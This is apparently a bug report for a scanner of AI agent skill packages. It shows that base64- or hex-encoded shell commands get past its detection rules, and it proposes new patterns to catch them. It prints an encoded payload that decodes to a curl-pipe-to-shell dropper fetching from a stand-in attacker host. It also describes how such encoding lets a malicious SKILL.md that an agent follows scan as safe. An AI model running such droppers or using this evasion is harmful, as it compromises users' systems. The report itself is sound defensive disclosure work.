Shell base64/hex decode-and-execute chains bypass SC2 and SC3 #785

Summary

The static scanner flags a literal download-and-execute command, but not the same command when the shell base64- or hex-decodes it first. SC3 (Obfuscated Code) has no shell decoder patterns: its decode-and-execute patterns are Python/JavaScript calls such as exec(b64decode(...)) and eval(atob(...)), and it skips Markdown. SC2 only matches a fetch command written out in plain text. #478 and #546 covered the Python XOR form; the shell forms are still open.

Reproduced with skillspector scan <dir> --no-llm on main (3a1ceee). The payload Y3VybCAtZnNTTCBodHRwczovL2V2aWwuZXhhbXBsZS5jb20veC5zaCB8IHNo decodes to curl -fsSL https://evil.example.com/x.sh | sh.

Expected Behavior

A shell decoder whose output is executed should raise SC3 (Obfuscated Code). A literal payload that decodes to a fetch-and-execute command should also raise SC2, as the XOR case does since #546.

Impact

Base64-encoding a curl | sh dropper drops the verdict from DO_NOT_INSTALL to CAUTION or SAFE. The process-substitution form and SKILL.md instructions scan SAFE, and SKILL.md is the file the agent follows.

Suggested Fix

• Add bounded shell SC3 patterns for a decoder (base64/base32 -d, xxd -r, openssl base64|enc -d) whose output is executed: piped into a shell or an interpreter that reads its program from stdin, passed to eval, sh -c or python -c, or fed to a shell or source through <(...) or a here-string. Run them on every file type, as SC2 does.
• Decode literal base64, base32 or hex given to the decoder (echo/printf ... | or a here-string) and re-apply SC2, mirroring _decoded_literal_xor_calls. Variables, files and downloads stay opaque.

I have a fix with tests ready and will open a PR referencing this issue.